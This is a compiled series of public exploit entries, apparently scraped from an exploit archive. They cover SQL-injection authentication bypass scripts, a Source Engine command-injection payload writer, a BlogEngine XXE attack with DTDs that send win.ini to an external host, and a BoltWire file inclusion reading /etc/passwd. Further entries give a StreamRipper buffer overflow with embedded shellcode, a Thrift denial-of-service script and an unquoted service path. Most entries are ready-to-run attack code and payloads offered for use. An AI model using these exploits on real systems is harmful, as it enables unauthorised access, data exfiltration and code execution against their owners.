#./admin/change-password.php:$sql=mysqli_query($con,"SELECT password FROM  admin where password='".md5($_POST['cpass'])."' && username='".$_SESSION['alogin']."'");
#./admin/index.php:$query=mysqli_query($con,"SELECT * FROM admin WHERE username='$username' and password='$password'");
#./index.php:$query=mysqli_query($con,"SELECT * FROM students WHERE StudentRegno='$regno' and password='$password'");
#./includes/header.php:        $ret=mysqli_query($con,"SELECT  * from userlog where studentRegno='".$_SESSION['login']."' order by id desc limit 1,1");
#./pincode-verification.php:$sql=mysqli_query($con,"SELECT * FROM  students where pincode='".trim($_POST['pincode'])."' && StudentRegno='".$_SESSION['login']."'");

#It is also possible to bypass the authentication in the two login pages:
#!/usr/bin/python3
try:
   from termcolor import colored 
   from colorama import init
   import argparse
   import requests
except:
	print("Please run pip3 install termcolor,colorama,argparse,requests")

init()

symbol_green=colored("[+]", 'green') 
symbol_red=colored("[-]", 'red') 

parser = argparse.ArgumentParser()
parser.add_argument('url', help='The URL of the target.')
args = parser.parse_args()

adminurl = args.url + '/onlinecourse/admin/'



def main():
    initial='Online Course Registration Authentication Bypass in %s' % ( args.url ) + "\n"
    print(colored(initial, 'yellow'))
    sess = requests.session()
    data_login = {
    'username': "admin' or 1=1 -- ",
    'password': 'whatever',
    'submit': ''
}
    try:
        req = sess.post(adminurl, data=data_login, verify=False, allow_redirects=True)
        resp_code = req.status_code
    except:
    	print(symbol_red+" The request didn't work!\n")
    	exit()
    if resp_code == 200 and "document.chngpwd.cpass.value" in req.text:
       print(symbol_green+" Authentication bypassed for admin user!\n")
       print(symbol_green+" To test this manually, visit: " + adminurl+ " and enter: admin' or 1=1 -- in the username field and whatever in password field, then click the Log Me In button\n")

    else:
       print(symbol_red+" Fail!")

main()
HireHackking 
# Exploit Title: Source Engine CS:GO BuildID: 4937372 - Arbitrary Code Execution
# Date: 2020-04-27
# Exploit Author: 0xEmma/BugByte/SebastianPC
# Vendor Homepage: https://www.valvesoftware.com/en/
# Version: Source Engine, Tested on CS:GO BuildID: 4937372 TF2 BuildID: 4871679 Garry's Mod BuildID: 4803834 Half Life 2 BuildID: 4233302
# Tested on: MacOS 15.3
# CVE : CVE-2020-12242

import os, random, sys
banner = """
:'######:::'#######::'##::::'##::'######:::'#######::'##:::'##::::'##:::'########:
'##... ##:'##.... ##: ##:::: ##:'##... ##:'##.... ##: ##::'##:::'####:::... ##..::
 ##:::..:: ##'### ##: ##:::: ##: ##:::..::..::::: ##: ##:'##::::.. ##:::::: ##::::
. ######:: ## ### ##: ##:::: ##: ##::::::::'#######:: #####::::::: ##:::::: ##::::
:..... ##: ## #####:: ##:::: ##: ##::::::::...... ##: ##. ##:::::: ##:::::: ##::::
'##::: ##: ##.....::: ##:::: ##: ##::: ##:'##:::: ##: ##:. ##::::: ##:::::: ##::::
. ######::. #######::. #######::. ######::. #######:: ##::. ##::'######:::: ##::::
:......::::.......::::.......::::......::::.......:::..::::..:::......:::::..:::::
"""
print(banner)


if os.name == "posix":
    command = str(input("Code to run? "))
    payload = '"; ' + command + '; echo "'
    f = open("/tmp/hl2_relaunch", "w")

    f.write(payload)
    f.close()

if os.name == "nt":
    print("Windows based OS's not supported, see CVE-2020-12242")
HireHackking 
# Exploit Title: Online Scheduling System 1.0 - Authentication Bypass
# Exploit Author: Bobby Cooke
# Date: 2020-04-30
# Vendor Homepage: https://www.sourcecodester.com/php/14168/online-scheduling-system.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/razormist/online-scheduling-system.zip
# Version: 1.0
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 7.4.4

# Malicious POST Request to https://TARGET/Online%20Scheduling%20System/login.php HTTP/1.1
  POST /Online%20Scheduling%20System/login.php HTTP/1.1
  Host: TARGET
  Connection: close
  Cookie: PHPSESSID=8o12pka3gvais768f43v5q4d60

  username=0&password=0&lgn=Login
HireHackking 
# Title: BlogEngine 3.3 - 'syndication.axd' XML External Entity Injection
# Author: Daniel Martinez Adan (aDoN90)
# Date: 2020-05-01
# Homepage: https://blogengine.io/
# Software Link: https://blogengine.io/support/download/
# Affected Versions: 3.3
# Vulnerability: XML External Entity (XXE OOB) Injection Vulnerability
# Severity: High
# Status: Fixed
# Author: Daniel Martinez Adan (aDoN90)
# CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:H

Technical Details
--------------------

Url: http://websiteurl-blogengine3.3/syndication.axd
Parameter Name: apml
Parameter Type: GET

*Attack Pattern 1 (SSRF HTTP Interaction) :*

http://websiteurl-blogengine3.3/syndication.axd?apml=http://hav4zt9bu9ihxzvcg59lqfapzg5it7.burpcollaborator.net

*Attack Pattern 2 (SSRF to XXE HTTP Interaction):*

http://b5baa301-b569-4bbf-afd9-d2eb264fdcbf.gdsdemo.com/blog/syndication.axd?apml=http://attackerip:8000/miau.txt

miau.txt

-----------------------------
  <!DOCTYPE foo SYSTEM "
">http://dgx2pxtwxkvgvkubo7ksvkywtnzhn6.burpcollaborator.net">
<http://dgx2pxtwxkvgvkubo7ksvkywtnzhn6.burpcollaborator.net>
-----------------------------
[image: image.png]

*Attack Pattern 3 (SSRF to XXE Exfiltration):*

miau.txt

-----------------------------

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://37.187.112.19:8000/test1.dtd">

%sp;
%param1;
%exfil;
]>
-----------------------------
test1.dtd

-----------------------------

<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY &#x25; exfil SYSTEM '
http://y76a7hgbrccuyclwxwcp3br74yayyn.burpcollaborator.net/?%data;'>">

-----------------------------
HireHackking 
# Exploit Title: webERP 4.15.1 - Unauthenticated Backup File Access
# Date: 2020-05-01
# Author: Besim ALTINOK
# Vendor Homepage: http://www.weberp.org
# Software Link: https://sourceforge.net/projects/web-erp/
# Version: v4.15.1
# Tested on: Xampp
# Credit: İsmail BOZKURT

--------------------------------------------------------------------------
About Software:

webERP is a complete web-based accounting and business management system
that requires only a web-browser and pdf reader to use. It has a wide range
of features suitable for many businesses particularly distributed
businesses in wholesale, distribution, and manufacturing.

-------------------------------------------------------
PoC Unauthenticated Backup File Access
---------------------------------------------

1- This file generates new Backup File:
http://localhost/webERP/BackUpDatabase.php
2- Someone can download the backup file from:
-- 
http://localhost/webERP/companies/weberp/Backup_2020-05-01-16-55-35.sql.gz
HireHackking 
# Exploit Title: BoltWire 6.03 - Local File Inclusion
# Date: 2020-05-02
# Exploit Author: Andrey Stoykov
# Vendor Homepage: https://www.boltwire.com/
# Software Link: https://www.boltwire.com/downloads/go&v=6&r=03
# Version: 6.03
# Tested on: Ubuntu 20.04 LAMP


LFI:

Steps to Reproduce:

1) Using HTTP GET request browse to the following page, whilst being authenticated user.
http://192.168.51.169/boltwire/index.php?p=action.search&action=../../../../../../../etc/passwd

Result

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
[SNIPPED]
HireHackking 
# Exploit Title: StreamRipper32 2.6 - Buffer Overflow (PoC)
# Date: 2020-05-14
# Exploit Author: Andy Bowden
# Tested On: Win10 x64
# Download Link: http://streamripper.sourceforge.net/sr32/StreamRipper32_2_6.exe
# Vendor Page: http://streamripper.sourceforge.net/
# Version: 2.6
# Steps To Reproduce: Double click on "Add" in the"Station/Song Section" and paste the output in "SongPattern"

#Bad Characters \x00\x0A\x0D  
file = open('exploit.txt', 'wb')  
  
buf = b""  
buf += b"A" * 256  
buf += b"\x47\x23\x30\x74" #74302347  
buf += b"\x90" * 30

#calc payload  
buf += b"\xdb\xc2\xbd\x72\x07\xda\xa7\xd9\x74\x24\xf4\x58\x29"  
buf += b"\xc9\xb1\x31\x83\xe8\xfc\x31\x68\x14\x03\x68\x66\xe5"  
buf += b"\x2f\x5b\x6e\x6b\xcf\xa4\x6e\x0c\x59\x41\x5f\x0c\x3d"  
buf += b"\x01\xcf\xbc\x35\x47\xe3\x37\x1b\x7c\x70\x35\xb4\x73"  
buf += b"\x31\xf0\xe2\xba\xc2\xa9\xd7\xdd\x40\xb0\x0b\x3e\x79"  
buf += b"\x7b\x5e\x3f\xbe\x66\x93\x6d\x17\xec\x06\x82\x1c\xb8"  
buf += b"\x9a\x29\x6e\x2c\x9b\xce\x26\x4f\x8a\x40\x3d\x16\x0c"  
buf += b"\x62\x92\x22\x05\x7c\xf7\x0f\xdf\xf7\xc3\xe4\xde\xd1"  
buf += b"\x1a\x04\x4c\x1c\x93\xf7\x8c\x58\x13\xe8\xfa\x90\x60"  
buf += b"\x95\xfc\x66\x1b\x41\x88\x7c\xbb\x02\x2a\x59\x3a\xc6"  
buf += b"\xad\x2a\x30\xa3\xba\x75\x54\x32\x6e\x0e\x60\xbf\x91"  
buf += b"\xc1\xe1\xfb\xb5\xc5\xaa\x58\xd7\x5c\x16\x0e\xe8\xbf"  
buf += b"\xf9\xef\x4c\xcb\x17\xfb\xfc\x96\x7d\xfa\x73\xad\x33"  
buf += b"\xfc\x8b\xae\x63\x95\xba\x25\xec\xe2\x42\xec\x49\x1c"  
buf += b"\x09\xad\xfb\xb5\xd4\x27\xbe\xdb\xe6\x9d\xfc\xe5\x64"  
buf += b"\x14\x7c\x12\x74\x5d\x79\x5e\x32\x8d\xf3\xcf\xd7\xb1"  
buf += b"\xa0\xf0\xfd\xd1\x27\x63\x9d\x3b\xc2\x03\x04\x44"  
buf += b"\x90" * (1000 - len(buf))  

file.write(buf)
file.close()
HireHackking 
# Title: VirtualTablet Server 3.0.2 - Denial of Service (PoC)
# Author: Dolev Farhi
# Date: 2020-04-29
# Vulnerable version: 3.0.2 (14)
# Link: http://www.sunnysidesoft.com/
# CVE: N/A


from thrift import Thrift
from thrift.transport import TSocket
from thrift.transport import TTransport
from thrift.protocol import TBinaryProtocol
from pygen.example import Example

host = '192.168.1.1'
port = 57110

try:
    transport = TSocket.TSocket(host, port)
    transport = TTransport.TBufferedTransport(transport)
    protocol = TBinaryProtocol.TBinaryProtocol(transport)
    client = Example.Client(protocol)
    transport.open()
    client.send_say('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
    transport.close()

except Thrift.TException as tx:
    print(tx.message)
HireHackking 
# Exploit Title: NVIDIA Update Service Daemon 1.0.21  - 'nvUpdatusService' Unquoted Service Path
# Discovery by: Roberto Piña
# Discovery Date: 2020-04-27
# Vendor Homepage: https://www.nvidia.com/es-la/
# Software Link : https://www.nvidia.com/es-la/
# Tested Version: 1.0.21
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro x64 es

# Step to discover Unquoted Service Path: 


C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "NVIDIA" | findstr /i /v """
NVIDIA Update Service Daemon                                                     nvUpdatusService                          C:\Program Files (x86)\NVIDIA Corporation\NVIDIA Updatus\daemonu.exe                                                                          Auto

C:\>sc qc nvUpdatusService
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: nvUpdatusService
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START  (DELAYED)
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\NVIDIA Corporation\NVIDIA Updatus\daemonu.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : NVIDIA Update Service Daemon
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: .\UpdatusUser

C:\>

#Exploit:
# A successful attempt would require the local user to be able to insert their code in the system root path 
# undetected by the OS or other security applications where it could potentially be executed during 
# application startup or reboot. If successful, the local user's code would execute with the elevated 
# privileges of the application.